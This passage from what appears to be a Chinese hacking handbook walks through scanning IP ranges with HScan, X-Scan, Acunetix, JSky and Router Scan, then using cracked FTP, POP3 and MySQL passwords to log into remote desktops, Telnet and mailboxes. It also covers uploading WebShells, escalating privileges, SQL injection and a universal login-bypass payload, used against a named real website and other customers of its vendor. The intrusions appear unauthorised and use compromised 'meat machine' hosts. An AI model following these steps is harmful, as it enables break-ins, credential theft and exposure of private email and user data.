(1)拥有MySQL的用户名称和口令后,可以通过查看数据库中的信息对MySQL数据库服务器实施控制。在本例中,通过查看数据库、表及表中的内容获取了管理员的密码和名称,如图3-32所示。
图3-32 查看表中的信息
(2)在MySQL数据库中一般会存在多个数据库。通过“show databases;”、“show tablesname;”、“select* from tablesname;”等命令可以获取表中的具体内容,而通过查看其中的内容可以进行Web服务器域名信息及一些网站管理员的密码和用户名称的定位。在本例中,通过查看其他的数据库,还获取了大量的用户信息,其中包含管理员的手机号码等信息,如图3-33所示。
图3-33 获取额外信息

小结

本例通过HScan扫描MySQL口令,扫描出口令以后,借助HScan的MySQL连接功能直接连接MySQL,通过创建表将VBS脚本插入表中,然后再导出到系统的启动目录下,系统重新启动以后,会自动添加用户,进而通过远程终端3389连接该MySQL服务器所在的计算机,成功实施控制。

3.1.6 POP3口令扫描案例

现在,很多邮箱服务器都支持POP3功能,通过POP3收取信件,收取信件时仅仅需要提供用户名和密码。目前有很多工具可以扫描POP3邮件的账号和口令,本例就通过HScan扫描POP3账号进行攻击,获取POP3的账号和口令后,可以查看和发送邮件,并利用社会工程学发送木马邮件等进行攻击。本例只讲解如何扫描POP3口令,有关社会工程学攻击的案例放在后面的章节讲解。

01 设置HScan

在HScan中分别设置起始和结束扫描POP3的IP地址,然后在扫描参数中选择扫描模块,设置完毕后,单击“menu”菜单中的“start”命令开始扫描。

02 查看扫描结果

扫描结束后,直接打开Hscan.log文件,在其中搜索“pop3scan”,找到结果后,记下账号、口令及对应的IP地址,如图3-34所示。

图3-34 查看POP3扫描结果

03 登录Webmail邮件服务器

在IE浏览器中输入上面的IP地址并打开网页,进入Webmail登录界面,输入用户名和密码,如图3-35所示。

图3-35 登录Webmail邮件服务器

技巧
扫描POP3账号和口令后,在浏览器中输入的IP地址有可能无法打开网页,这时可以借助Google等搜索引擎进行搜索,有时能够直接搜索出该IP地址所在的邮件服务器地址。

04 查看邮件

登录成功后,可以进行所有操作,包括查看邮件及发送邮件等,如图3-36所示。

图3-36 查看邮件

小结

本例主要利用HScan扫描POP3账号和口令。在扫描POP账号和口令时,只要知道用户账号,结合字典扫描出口令概率还是挺高的。扫描出账号和对应的口令后,使用它们进行登录。登录邮件服务器后,可以进行查看邮件、发送邮件及获取该账号的所有邮件内容等操作。如果这些邮件是办公邮件,那么从安全的角度来讲,容易造成邮件内容泄露,再配合社会工程学实施攻击,危害相当大。

3.2 使用HScan扫描及利用漏洞

HScan是一款优秀的扫描软件,它在公开场合出现较少,虽然不如流光、XScan、SuperScan出名,但程序移植性好,不需要安装,速度快,提供HTML报告和Hscan.log两种扫描结果。HScan有两个版本,一个是DOS版本,另一个是GUI版本。本例主要讲述如何使用HScan获取信息,这些信息主要是漏洞信息和口令信息,获取漏洞和口令便可实施控制。

3.2.1 使用HScan进行扫描

01 设置参数

   

图3-37 设置HScan参数   

运行HScan的GUI版本,依次单击“Parameter”→“Start”命令,在“Parameter Setting”窗口需要设置StartIP、EndIP、MaxThead、MaxHost、TimeOut、SleepTime共6个参数,其中后4个参数有默认值,一般不用修改它们。在“StartIP”和“EndIP”中输入IP地址“218.25.39.120”,如图3-37所示。

说明
(1)DOS版本的HScan可以在后台进行扫描,无界面,不容易被发现,安全性较高,扫描完成以后会自动在report目录中生成扫描报告。其常用用法有下面几种。
①“HScan-h 202.12.1.1 202.12.255.255-all”表示扫描主机202.12.1.1~202.12.255.255段所有HScan提供的漏洞及弱口令。
②“HScan-h www.target.com-all-ping”表示在扫描www.target.com主机之前进行Ping操作,并使用HScan对所有模块进行扫描。
③“HScan-h 192.168.0.1 192.168.0.254-port-ftp-max 200, 100”:探测网段192.168.0.1~192.168.0.254的端口及FTP弱口令,最大线程为200,主机数量为100台。
(2)关于DOS版本下的扫描。在DOS环境下直接运行HScan.exe时会显示其使用命令的参数详细说明,如图3-38所示。
图3-38  HScan的DOS扫描版本
(3)在参数设置中还可以指定hosts.txt进行扫描。hosts.txt中的每一个IP地址独占一行,且必须是IP地址格式,行尾无空格。

02 选择扫描模块

选择扫描模块时,可以有针对性地进行选择。如果选择所有模块,则扫描时间会比较长,一般选择部分模块。如图3-39所示,选中每一个扫描选项前面的复选框,然后单击“OK”按钮确认配置。

图3-39 选择扫描模块

03 实施扫描

在HScan菜单中单击“start”命令,对IP地址进行漏洞扫描和信息获取。在HScan的主界面会滚动显示扫描结果,左上方显示的是扫描的命令或者扫描的模块,下方为扫描结果,右侧是扫描的详细信息,如图3-40所示。

图3-40 执行扫描

技巧
如果是在远程终端(肉机)上扫描,运行HScan后,可以在本地断开远程终端连接,使其一直在肉机上扫描。估计扫描即将结束时,应该至少登录肉机一次,查看是否扫描完毕。HScan图形界面扫描完毕,会自动生成扫描报告,如图3-41所示。
图3-41  HScan扫描报告

04 利用扫描结果

在HScan中有两种方式可以查看扫描结果:一种是在reports目录下查看HTML文件,另一种是直接在HScan的GUI模式下查看。

说明
在实际扫描过程中,Hscan.log文件用得比较多。Hscan.log位于HScan程序目录的Log文件夹下,每次扫描均生成一个Hscan.log,扫描时该文件仅保留最新的扫描日志。当扫描结果很大时,通过浏览器打开进行查看比较麻烦,而Hscan.log文件却可以通过UltraEdit进行编辑,找出有利用价值的信息,如图3-42所示。
图3-42 查看Hscan.log文件

在GUI模式下进行扫描时,如果存在FTP、MySQL和MSSQL弱口令,则可以直接进行连接。方法是在HScan扫描器下方选中存在弱口令的记录,单击左键,选择“connect”选项。如果单击右键,则会出现“clean”选项,它执行的是清除所有扫描记录的操作。

说明
(1)在FTP连接建立后,要用bye命令退出,否则会出现程序无响应的情况。
(2)直接通过鼠标左键进行连接可以查看该FTP服务器中是否存在有价值的数据。

小结

本例介绍了如何利用HScan进行扫描,以及如何通过扫描获取信息。HScan对扫描FTP、SQL Server 2000、MySQL等弱口令效果很好,效率比较高,扫描一个网段往往会找出几十甚至几百个口令,配合其他工具可以完全控制这些弱口令计算机。在后面的综合案例中,我们会介绍HScan的几种综合利用方法。

3.2.2 HScan扫描FTP口令控制案例一

本案例主要利用HScan的扫描结果,通过UltraEdit编辑器的处理后,得到一些非匿名用户的FTP口令,然后对这些IP地址进行3389端口扫描,得到开放3389端口的IP地址,最后反向查找这些IP地址的FTP用户名和口令,并用这些用户名和口令进行3389登录。

01 打开Hscan.log文件

打开Hscan.log文件后,其结果显示如图3-43所示。

图3-43  Hscan.log文件结构

说明
(1)如果扫描时选择了其他模块,则会在log文件中有对应的标识。
(2)Hscan.log文件是HScan扫描以后的日志文件,虽然HScan扫描完成以后会自动生成一个HTML文件,但由于一般扫描一个网段以后,文件都会超过1MB,所以这时查看网页极为不便。而log文件中包含了扫描的所有信息,如果是单独针对FTP扫描,则文件中主要包含“IPaddress@ftpscan#Cracked”及“IPaddress@ftpscan#banner”两行,其对应后面扫描的结果,前者为破解的口令和账号,后者为FTP标识。

02 查找已经破解的账号

在使用UltraEdit打开Hscan.log文件后,在其菜单中依次单击“搜索”→“查找”选项,在“查找”对话框中输入“Cracked account:”,并选中“列出包含字符串的行”选项,如图3-44所示,然后单击“下一个”按钮。

图3-44 查找已经破解的账号

03 复制查找结果

如果在Hscan.log中有“@ftpscan#Cracked account:”,UltraEdit会自动列出所有包含该字符串的行,如图3-45所示,单击“剪贴板”按钮将所有查找结果复制到剪贴板上。

图3-45 所有查找结果

04 整理查找结果

在UltraEdit中新建一空白文件,然后将剪贴板上的内容粘贴到新文件中,如图3-46所示,在UltraEdit编辑器底部可以看到一共有882条(行)记录,每一个记录(行)对应一个账号。

图3-46 整理查找结果

05 对扫描结果进行处理

选中“@ftpscan#Cracked account:”,在UltraEdit编辑器中依次单击“搜索”→“替换”命令,打开“替换”窗口,在“查找”中输入“@ftpscan#Cracked account:”,将其替换为4个空格,如图3-47所示,然后单击“全部替换”按钮,替换所有“@ftpscan#Cracked account:”字符串。

图3-47 处理扫描结果

说明
替换完成以后,结果如图3-48所示,每一条记录的最前面是IP地址,后面依次为账号和口令,保存结果为210.good.log文件。

图3-48 扫描结果处理完毕

06 编辑扫描3389端口命令

新建一个文件,并将其保存为210.3389.txt,选中并复制210.good.log文件中的所有内容到新建文件210.3389.txt中,然后只选中IP地址,将其余内容全部删除,并在每一个IP地址前面输入“sfind-p 3389”,输入完毕,其结果如图3-49所示。

图3-49 编辑扫描3389批命令

说明
在执行sfind命令时,需要确保sfind命令能够执行。可以将sfind.exe文件复制到系统目录system32中,或者直接通过cd命令访问sfind.exe所在目录。

07 执行扫描3389端口命令

选中所有内容,将其复制到DOS命令提示符窗口执行,如图3-50所示。

图3-50 执行扫描3389端口批处理命令

技巧
使用“type sfind.txt |find"3389 listening">3399.txt”命令,将sfind扫描结果文件sfind.txt中所有开放3389端口的记录提取,并保存到3389.txt文件中。

08 查找口令

依次选中3389.txt文件中的IP地址,在210.good.log中通过查找命令查找相应的记录。在本案例中找到IP地址为210. *. *.90的记录,其用户名和口令分别为“test”和“123456”,如图3-51所示。

图3-51 查找口令

09 进行3389登录

打开远程终端连接程序mstsc.exe,输入IP地址、用户名及密码,然后进行连接。速度很快,连接成功,顺利进入对方计算机,如图3-52所示。

图3-52 登录远程终端

说明
在本案例中,为了再次验证我们的思路,随机选择了IP地址210.*.*.16,在210.good.log文件中查找该IP地址记录,其中用户名和口令分别为“Administrator”和“admin”,如图3-53所示。
图3-53 再次查找用户名和口令

在远程终端输入IP地址、用户名和口令,依然连接成功,如图3-54所示。

图3-54 登录其他远程终端

小结

本案例的主要思路是系统用户口令与FTP用户口令相同,而3389远程终端服务只要知道IP地址及相对应的用户名称、密码即可登录系统。登录系统以后,就像在本地计算机上操作一样,非常方便,相当于“完全控制”。对于HScan这款扫描工具来讲,扫描口令很好用,但是对于扫描结果的不同处理会得出不同的结果。本案例技术难度不高,但涉及UltraEdit编辑器的使用,UltraEdit编辑器中的排序、替换、查找功能,非常好用。

在本例中,使用HScan软件配合sfind命令、UltraEdit编辑器、远程终端连接器(mstsc.exe)成功控制肉机,整个过程不到20分钟。因此,在网络攻防中,一些工具的配合使用往往会带来意想不到的效果。在下一个综合案例中,我们同样是对扫描结果进行处理,只不过换了一种思路,也成功控制了肉机。

3.2.3 HScan扫描FTP口令控制案例二

本案例主要利用HScan扫描出来的FTP主机口令尝试Telnet登录,Telnet登录成功以后,就如同获得了一个反弹Shell,可以很方便地实施控制。本案例不再对FTP口令的扫描及口令的整理进行讲解,而是主要阐述如何换一种思路利用这些口令实施控制。在3.2.2节的案例中,已经对IP地址218.22.*.*进行了FTP扫描,并获得了口令。

01 查看端口开放情况

查看IP地址为218.22.*.*的主机端口开放情况,运行“sfind-p 218.22.*.*”命令,结果如图3-55所示,说明该计算机开放了FTP及Telnet服务,可以进行FTP及Telnet登录。

图3-55 查看端口开放情况

02 登录Telnet

在DOS提示符下输入命令“Telnet 218.22.*.*”进行登录,输入扫描获取的FTP用户名和口令进行登录,如图3-56所示。

图3-56 使用FTP的用户名和口令进行Telnet登录

03 登录成功

如果用户名和口令正确,则返回一个与DOS环境类似的界面,如图3-57所示。

图3-57 登录Telnet成功

04 开启3389端口并登录

在Telnet窗口中上传一个开启3389远程终端的工具,开启3389端口,同时上传mt.exe。开启3389端口后,执行“mt-reboot”命令,重启计算机。计算机重启以后,使用3389登录器进行登录,输入用户名和密码,然后单击“连接”按钮,登录成功,如图3-58所示。

图3-58 登录3389

说明
关于上传文件及3389端口的开启,在后面的案例中有专门介绍。

小结

本案例技术难度不高,主要利用FTP扫描的用户名和口令(可能是系统中的用户和口令)进行Telnet登录,成功以后可以在Telnet中执行各种命令,从而达到完全控制。

3.2.4 HScan扫描FTP口令控制案例三

本案例利用HScan扫描FTP的口令进行服务器的控制,HScan扫描结束后,会自动生成一个HTML网页报告,从网页报告中选择有口令的FTP服务器,通过CuteFTP等FTP客户端软件进行文件的下载和上传。在本案例中,使用了以下3种方法实施控制。

• 如果FTP主机提供了Web服务,则通过FTP客户端软件查看和验证Web目录是否在FTP的目录下。如果存在且拥有写权限,则可直接上传WebShell实施控制。
• 如果FTP未提供Web服务,则可以通过上传木马文件,诱使用户下载并运行,从而达到控制的目的。
• 通过分析FTP目录下面的文件,进行纵向和横向渗透。

本案例采用的是第一种方法,后两种方法读者可自行尝试。

01 选择FTP主机

HScan扫描器破解FTP口令的功能非常强大,一般情况下,扫描一个大的网段,都能找出许多FTP弱口令。如果需要扫描更多的FTP口令,则需要增加字典中的口令和FTP用户。在本例中,打开扫描的网页文件并随机选择一个FTP主机,如图3-59所示。

图3-59 选择FTP主机

技巧
在选择FTP主机时,尽量选择不是很弱的口令。口令强度越大,其相对主机FTP提供的数据价值就越高。

02 使用CuteFTP进行登录

本例中选择CuteFTP软件管理FTP地址,可以根据个人喜好选择不同的FTP管理软件,其目的就是便于进行文件的上传和下载。在CuteFTP中新建一个站点,在“Label”及“Host address”文本框中均输入IP地址139.175.*.*,在“Username”及“Password”文本框中分别输入对应的用户名和口令,如图3-60所示。

图3-60 使用CuteFTP登录

03 上传和下载文件

在站点管理器中选中刚才添加的FTP主机并进行连接,连接成功后可以看到该FTP主机的FTP目录,然后就可以尝试进行上传和下载了,如图3-61所示。

图3-61 上传和下载文件

说明
(1)上传和下载文件是实施控制的关键阶段。一般情况下,被破解的FTP主机都允许上传文件,可以从以下几种情况上传文件。
①服务器本身提供Web服务,可以通过访问该FTP主机地址来确定Web服务器是否支持ASP、ASP.NET、JSP脚本等,然后根据Web支持的脚本选择上传WebShell。
②如果该服务器不提供Web服务,就选择一些具有“诱惑”的木马文件上传,使其主动运行木马程序。
③如果不能上传,但是可以下载,则可以将该FTP服务器中允许下载的数据下载到本地进行分析,从而查找漏洞。
(2)很多情况下,提供Web服务的FTP服务器会将Web所在文件夹设置为FTP目录,因此,可以通过下载文件到本地来查找数据库口令和程序漏洞。

04 实施控制

本案例中,该FTP服务器支持PHP,因此,可以上传一个PHP的WebShell直接实施控制。关于后期的控制,如开启远程终端3389、安装其他木马后门等,这里就不赘述了。

小结

本案例详细讲解了如何利用HScan扫描到的FTP弱口令,配合使用CuteFTP等工具软件,最终控制了肉机。从技术角度来讲,本案例技术层次不高,但是安全突破不在于技术的高低,而在于思维能否有所突破!

3.2.5 HScan扫描FTP口令控制案例四

前面3个案例是通过扫描口令得到的弱口令来实施控制,而本案例则是通过获取的FTP口令登录FTP服务器,然后下载FTP目录下的文件,并对这些文件进行分析和利用,最终成功控制该FTP服务器。

01 下载文件

使用扫描的FTP口令及用户名登录FTP服务器,成功登录以后,查看FTP服务器目录下的所有文件夹及其文件,将文件下载到本地,如图3-62所示。

图3-62 下载FTP文件

技巧
下载FTP文件时,不要将所有文件都进行下载,而是要针对动态脚本文件,如ASP、JSP、PHP等。

02 分析下载文件

对下载的文件进行分析,分析的主要目的就是获取有用的信息。在本案例中,由于文件是ASP文件,因此可以利用UltraEdit等网页编辑器打开。在foot.asp文件中,找到了“贝士特版权所有京ICP00000000号”字样,如图3-63所示。

图3-63 查找关键字

技巧
(1)在对文件进行分析前,可以对该FTP主机进行扫描或者尝试Web服务访问。直接在浏览器地址栏中输入该FTP主机的IP地址,如果能够访问,说明服务器开放了Web服务;如果不能访问,也可能开放了Web服务,只是服务器只能通过具体的网站地址才能打开。
(2)查找关键字时,以ASP文件为例,可以在下载的head.asp、foot.asp、bottom.asp、top.asp、index.asp等文件中查看。这些文件中往往包含网站的一些信息,如版权、名称等。

03 搜索关键字

在Google中搜索关键字“贝士特版权所有京ICP00000000号”,很快结果出来了。在本案例中,直接通过IP地址无法访问该公司的网站,而只能通过搜索获取网站的具体的地址,如图3-64所示。

图3-64 获取网站的具体地址

04 再次分析文件

再次对下载的文件进行分析,查找数据库文件。在本案例中,在下载的文件中找到Access数据库文件main.mdb,如图3-65所示。

图3-65 查找并获取数据库信息

技巧
(1)在下载文件中,可以通过分析某一个文件的代码获取数据库信息。然后,根据逆向分析文件调用,特别是数据库的调用,可以很容易地获取数据库文件位置等信息。
(2)Access数据库及SQL Server数据库文件的连接文件名都很独特,如conn.asp、dbconn.asp等,直接在文件中浏览即可找到。
(3)如果是SQL Server数据库,则会在连接文件中出现数据库用户、连接密码及IP地址等信息。对于Access数据库,则可以直接查看user、admin及config等表,这些表中往往包含用户名称及密码等信息。

05 下载数据库文件

我们已经通过步骤03获取了网站的具体地址,并通过对已下载的文件的分析,知道了数据库文件的具体位置,现在需要尝试能否直接下载数据库文件。直接在浏览器地址栏输入数据库所在的地址,如图3-66所示,成功下载main.mdb数据库文件。

图3-66 下载数据库文件

06 查看数据库并获取数据库密码

打开下载的main.mdb文件,获取users表中的userpwd字段,如图3-67所示。在浏览器地址栏中输入“http://www.cmd5.com”,对密码进行破解。如果存在,则会提示查询结果。

图3-67 获取数据库密码

07 登录后台,查找上传地点

将获取的密码及用户名称“admin”分别输入后台管理验证的用户名称和密码界面进行验证,验证通过后,在后台管理界面查找后台文件管理模块。后台管理界面一般会有文件上传功能,如图3-68所示。

图3-68 查找后台上传模块

08 上传WebShell并提升权限

在上传模块中尝试上传WebShell,文件上传成功。然后,查看在该FTP主机中是否可以提升权限。利用WebShell中的Serv-U提升权限,如图3-69所示,提升权限成功。

图3-69 上传WebShell并提升权限

09 远程登录3389

使用“netstat-an|find "3389"”命令查看3389端口是否开放。在本案例中,3389端口是开放的。使用前面添加的用户和密码登录3389端口,如图3-70所示,登录成功。

图3-70 登录3389

小结

本案例通过扫描的FTP用户名和口令登录FTP服务器,然后下载文件,并对文件进行分析,从中找出有用的信息,再通过Google搜索有用信息,利用分析的结果上传WebShell并提升权限,最终成功实施完全控制。

3.3 使用X-Scan扫描漏洞

X-Scan是国内非常有名的一款扫描软件。扫描软件是一把双刃剑,既可以用来扫描系统中是否存在漏洞,发现漏洞修补漏洞,也可以用来发现漏洞,利用漏洞进行攻击。X-Scan中有21个漏洞及信息获取扫描模块,与HScan相比,增加了Socks5、NNTP、VNC及CVS弱口令获取4个模块。但是在HScan中,有针对Cisco路由器口令的扫描模块。因此,在不同场合选择不同的扫描软件进行交叉扫描,往往会取得意想不到的结果。下面以扫描一个较小的网段实例讲述如何利用X-Scan获取信息。

3.3.1 设置扫描IP地址的范围

直接运行X-Scan,在菜单中单击“设置”选项,选择“扫描参数”选项,打开“扫描参数”对话框,设定扫描范围为“218.25.39.1-218.35.39.10”,如图3-71所示。X-Scan也可以通过文件获取扫描主机列表,该功能与HScan的相应功能类似。

图3-71 指定IP地址范围

技巧
在扫描时,应尽量采取循序渐进的方式,即先通过其他扫描软件或者直接利用X-Scan获取主机开放端口等基本信息,再有针对性地对各种弱口令进行扫描。

3.3.2 确定扫描模块

单击“全局设置”选项,在展开的菜单中选择“扫描模块”选项,然后选择需要进行扫描的模块,如图3-72所示。X-Scan提供了“全选”和“清除”功能,“并发扫描”、“扫描报告”及“其他设置”可以使用默认值,不必修改。

图3-72 设定扫描模块

说明
在X-Scan中,可以手动设置字典文件。如图3-73所示,X-Scan默认给了一些包含弱口令的字典文件,在设置字典扫描时,也要遵循循序渐进的方式,先进行简单口令的扫描,再进行复杂口令的扫描。这些弱口令扫描都是暴力破解,只要字典足够强大,时间足够多,理论上都可以进行破解。
图3-73 设置破解字典文件

3.3.3 设置扫描端口

在X-Scan中默认设置了很多端口。在扫描时,可根据情况增加端口。增加端口时,将鼠标直接移动到待检测端口的末尾,输入端口数值。端口与端口之间通过“,”分隔,如图3-74所示,对于插件中的其他设置可以根据情况进行设定,或者直接使用默认设置。

图3-74 设置扫描端口

3.3.4 实施扫描

设置完成后进行扫描。X-Scan加载扫描模块时速度比较慢。加载完毕,开始扫描,X-Scan界面的左侧区域显示扫描到的端口或者服务,右侧区域上方显示正在扫描的模块或尝试破解的口令等信息,右侧下方区域分别显示扫描的普通信息、漏洞信息和错误信息,如图3-75所示。

图3-75 进行扫描

3.3.5 查看扫描结果

查看X-Scan的扫描结果有两种方式:一种是查看X-Scan主界面右侧下方的普通信息及漏洞信息,另一种是查看由X-Scan扫描完成以后自动生成的HTML报告,如图3-76所示。

图3-76 查看扫描结果

3.3.6 小结

X-Scan是一款强大的扫描工具,目前已经是3.2版本了。随着功能的增强,在进行扫描时会耗费更多的资源,在本地计算机扫描漏洞效果较好,扫描口令功能不如HScan等扫描软件,如果在肉机上进行扫描比较容易被发现。总体而言,X-Scan仍是一款较好的安全漏洞检测工具。

3.4 使用Acunetix Web Vulnerability Scanner扫描及利用网站漏洞

Acunetix Web Vulnerability Scanner(简称“WVS”)是一个网站及服务器漏洞扫描软件,有收费和免费两种版本,目前的最新版本为9.0build20140422,官方网站是http://www.acunetix.com/。WVS是国外著名的扫描软件之一,曾被列为“最为流行的Web扫描器之一”(http://sectools.org/web-scanners.html)。WVS功能强大,深受广大渗透爱好者的喜爱。

3.4.1 Acunetix Web Vulnerability Scanner简介

Acunetix Web Vulnerability Scanner扫描工具有Web Scanner、Tools、Web Services、Configuration和General 5大模块。下面简要介绍我们需要使用的3个模块。

• Web Scanner扫描器:默认情况产生10个线程的爬虫,是最常用的功能模块之一,通过该模块可以对网站进行漏洞扫描。
• Tools工具箱:集成了站点爬行、目标发现、域名扫描、盲注、HTTP编辑器、HTTP嗅探HTTP Fuzzer、认证登录测试、结果比较等功能。
• 配置:主要进行应用设置、扫描设置和扫描配置等。

3.4.2 使用Acunetix Web Vulnerability Scanner扫描网站漏洞

在WVS菜单中单击“New Scan”选项,打开扫描向导进行相关设置。如图3-77所示,一般来说,只需要在“Website URL”文本框中输入扫描网站地址,如“http://testaspnet.vulnweb.com”,后续步骤使用默认设置即可。如果不想使用向导,可以单击“Web Scanner”选项,在“Start URL”文本框中输入网站地址,即可进行扫描。

图3-77 设置扫描目标站点

3.4.3 扫描结果分析

在扫描过程中,如果发现是高危漏洞,则会以红色圆圈中包含叹号的图标显示。如图3-78所示,有4个高危漏洞,9处盲注(Blind SQL Injection),4处跨站,9个验证的SQL注入漏洞,1个Unicode传输问题。黄色图标显示为告警。

图3-78 查看扫描结果

对扫描结果中的每一个漏洞进行验证,同时访问相应网站。虽然WVS自带HTTP编辑器对SQL注入进行验证,但自动化程度较低,当发现漏洞后,可以通过Havij、Pangolin等SQL注入工具进行注入测试,如图3-79所示,将存在SQL注入的地址放入Havij进行注入测试。

图3-79 使用Havij进行SQL注入测试

3.5 使用JSky扫描并渗透某管理系统

JSky(中文名为“竭思”)是深圳市宇造诺赛科技有限公司的产品,是一款简单易用的Web漏洞扫描软件,是一款针对网站漏洞扫描的安全软件。JSky能够评估一个网站是否安全,对网站进行漏洞分析,判断是否存在漏洞,又称为网站漏洞扫描工具。JSky作为一款国内著名的网站漏洞扫描工具,提供了网站漏洞扫描服务,即能找出网站中的漏洞。JSky的网站漏洞检测工具提供网站漏洞检测服务,即通过模拟黑客攻击来评估计算机网站安全性的一种方法。JSky的渗透测试模块能模拟黑客攻击,让用户立刻掌握问题的严重性。JSky作为国内著名的扫描器,曾经风靡一时,由于其集成了Pangolin SQL注入攻击工具,所以实用性还是挺高的,在渗透时可以进行交叉扫描,其官方网站为http://www.nosec.org/cn。目前,JSky的最新版本为3.5.1,网上有破解版本。

3.5.1 使用JSky扫描漏洞点

JSky的安装很简单,按照提示进行简单选择即可使用,其扫描主要是新建扫描,然后设置扫描的一些选项,一般选择默认选项。直接运行Zwell的JSky扫描工具,新建一个扫描任务,输入网站地址,其他保持默认设置,开始进行检测,很快就会发现一个SQL注入点,如图3-80所示。

图3-80 发现SQL注入点

3.5.2 使用Pangonlin进行SQL注入探测

将注入点http://www.wxqxft.com:80/newsinfo.asp?id=170复制到Pangolin的URL文本框中并进行扫描,如图3-81所示,探测到数据库为Access,然后对表和列进行猜测。

图3-81 猜测表和列

3.5.3 换一个工具进行检查

Pangolin的检测结果并不理想,仅仅猜出两个表,而且其中的数据也无法全部获取,因此,换用“啊D注入工具”进行测试。在“检测网址”文本框中输入检测地址进行检测,检测完毕后,发现两个SQL注入点,如图3-82所示。

图3-82 使用“啊D注入工具”找到SQL注入点

3.5.4 检测表段和检测字段

如图3-83所示,选择第一个注入点进行注入检测,依次检测表段、检测字段和检测内容,在本次检测中一共获取了3个表,即表vote、manage_user和book。显然,manage_user为管理员表,因此选择该表进行猜测。检测结果出来后,双击该条记录,如图3-84所示,可以直接复制密码。

图3-83 猜测表段、字段和内容

图3-84 获取管理员和密码

3.5.5 获取管理员入口和进行登录测试

在安全检测过程中,可以使用多个工具扫描路径及文件。在本例中,既可通过JSky获取网站存在的文件目录,也可以使用“啊D注入工具”扫描管理入口,还可以使用“桂林老兵”的网站安全检测工具猜解路径,如图3-85所示。

图3-85 扫描路径

在实际测试过程中完全可以凭借经验,如输入“http://www.wxqxft.com/manage/manage.asp”进行测试,如图3-86所示,顺利打开后台登录地址。

图3-86 找到后台登录地址

在“用户名”文本框中输入“admin”,在“密码”文本框中输入刚才获取的“2468:<h”,然后单击“登录”按钮尝试登录,结果出现错误信息,如图3-87所示,说明密码不正确。

图3-87 登录失败

实际了解了一下,原来该企业管理系统采用了一种加密方式,获取的密码是加密后的,需要单独进行解密。直接祭出“fjhh&lqh”编写的后台加密解密器,获取其真实密码“123456a”,如图3-88所示。再次登录,输入正确的密码,成功进入后台,如图3-89所示。

图3-88 获取后台真实密码

图3-89 成功进入后台

3.5.6 获取漏洞的完整扫描结果及进行安全评估

如图3-90所示,获取了关于该网站系统的漏洞完整扫描结果,一共存在4个SQL注入漏洞,2个跨站脚本漏洞,按照目前安全业界的评估该网站系统应该是紧急高危。可以针对存在漏洞的文件进行修补。

图3-90 漏洞扫描的完整结果

3.5.7 探讨与思考

下面对企业网站系统的安全性进行探讨。

1.对企业网站系统漏洞的连带测试

前面用了很多工具,后面使用万能密码“h' or 1 or'”登录,1秒就搞定,真是好笑!看来该系统存在验证绕过漏洞。

根据该系统的开发和版权信息,找到了该系统开发的“厂商”,发现该系统还有很多“客户”,如图3-91所示。

图3-91 找到网站系统的其他用户

对客户的网站进行漏洞检测,发现存在一模一样的漏洞,无语。如图3-92所示,能够顺利进入网站系统,对部分网站进行测试,其结果也都一样。看来,使用万能密码“h' or 1 or'”可以通杀该类系统。

图3-92 通杀该类系统

2.其他探讨

就该企业网站系统而言,基本功能能够满足普通企业的建站需求,对提供该代码的网站进行查看后发现,该官方网站根本就没有使用这套代码,或者说,该网站提供给用户的代码就是不安全的代码,这让笔者多少有些不解。

(1)关于该系统的几点总结

• 该套系统的默认管理后台是:http://www.wxqxft.com/manage/manage.asp
• 数据库默认地址为:/Database/Datashop.mdb

(2)对该系统加密方式的探讨

由于没有该系统的源代码,所以无法进一步查看其相关漏洞情况。不过,其加密方式还是挺有意思的,即使用户获取了最终密码,如果不知道这种加密方法,也会相当“鸡肋”!

(3)丰富入侵工具

在SQL注入工具数据库扫描中,可以加入默认数据地址“/Database/Datashop.mdb”,不断丰富扫描字典。

3.6 使用Router Scan扫描路由器密码

Router Scan是一款路由器安全测试工具,可以指定IP地址段对路由器进行暴力破解等安全测试,支持TP-LINK、Huawei、Belkin、D-Link等各大品牌型号的路由器。Router Scan是俄罗斯安全人员开发的一套安全测试工具,目前已经对源代码进行开源,最新版本为2.47,官方网站地址为http://stascorp.com/load/1-1-0-56。该软件善于寻找和确定不同的设备,发现大量已知的路由器或服务器,最重要的是,能把其中有用的信息扫描出来,使用过程非常简单。

3.6.1 运行Router Scan 2.47

Router Scan 2.47有汉化版本,不过有些版本的杀毒软件会提示其携带病毒,所以最好到官方站点下载。Router Scan是免安装软件,直接运行可执行程序RouterScan.exe即可,其界面如图3-93所示。Router Scan 2.47在Router Scan 2.44的基础上做了一些改动,可以编辑扫描IP地址范围、自动保存结果,并增加了一些扫描模块。

图3-93 运行Router Scan程序

3.6.2 设置Router Scan扫描参数

下面介绍Router Scan扫描参数的设置。

1.设置扫描端口

在Router Scan中,一共有6个地方需要设置参数,最大线程使用默认值(100)即可,超时也不用修改。在“Scan ports”(端口扫描)设置区单击“+”按钮,可以增加自定义路由器扫描端口,这对修改默认路由器端口为其他端口的扫描特别有用。如图3-94所示,在弹出的对话框中输入数字端口号即可,如“443”表示对“443”端口进行扫描并破解。

图3-94 增加扫描端口

2.设置扫描IP地址范围

在“Enter IP ranges to scan”(IP地址扫描范围)设置区单击“+”按钮可以增加待扫描IP地址,也可以通过修改ranges.txt文件的内容进行扫描,如扫描IP地址段124.205.0.1~124.205.255.255,表示扫描“124.205”的B段,如图3-95所示,也可以扫描某一个IP地址。另外,可以单击“E”按钮,直接编辑扫描范围,以便对地址段进行编辑和扫描,如图3-96所示。

图3-95 设置扫描IP地址范围

图3-96 对IP地址段进行编辑

3.设置其他参数

如图3-97所示,默认自动保存扫描结果,可设置扫描代理服务器等信息。单击“Start scan”按钮开始扫描,扫描结果会在“Realtime Stats”标签页中实时显示。

图3-97 设置其他参数

4.自定义字典

在扫描软件目录中打开auth_basic.txt文件,如图3-98所示,添加账号和密码,账号和密码用空格隔开,可以使用“//”进行注释,以便维护字典。

图3-98 维护字典

3.6.3 查看并分析扫描结果

在Router Scan中提供了扫描状态和结果显示,如图3-99所示,状态和结果都在软件的下方,可以通过“Realtime Stats”、“Good Results”和“Search Results”标签页查看,对扫描的结果,可以选中目标,右键单击直接访问有结果的目标,如图3-100所示。

图3-99 查看扫描结果

图3-100 访问被破解目标站点

3.7 通过扫描FTP口令渗透某职教网

一个朋友准备到某职业技术学校读书,该学校号称是“国家级重点中等职业学校”,只要进入该学校,每个学生即可享受3000元国家助学金,该学校网站如图3-101所示。目前,要了解一所学校,通常有两种方式:一种是进行实地考察;另一种是通过网站了解。既然朋友给了一个网站,就看看该网站的安全情况如何。

图3-101 某职校网站

3.7.1 信息收集

下面介绍网站信息收集的相关内容。

1.获取IP地址信息

直接打开DOS窗口,然后使用“ping www.**j.com”获取该网站的真实IP地址,如图3-102所示,通过ping命令知道,该主机无丢包率,延迟为49。

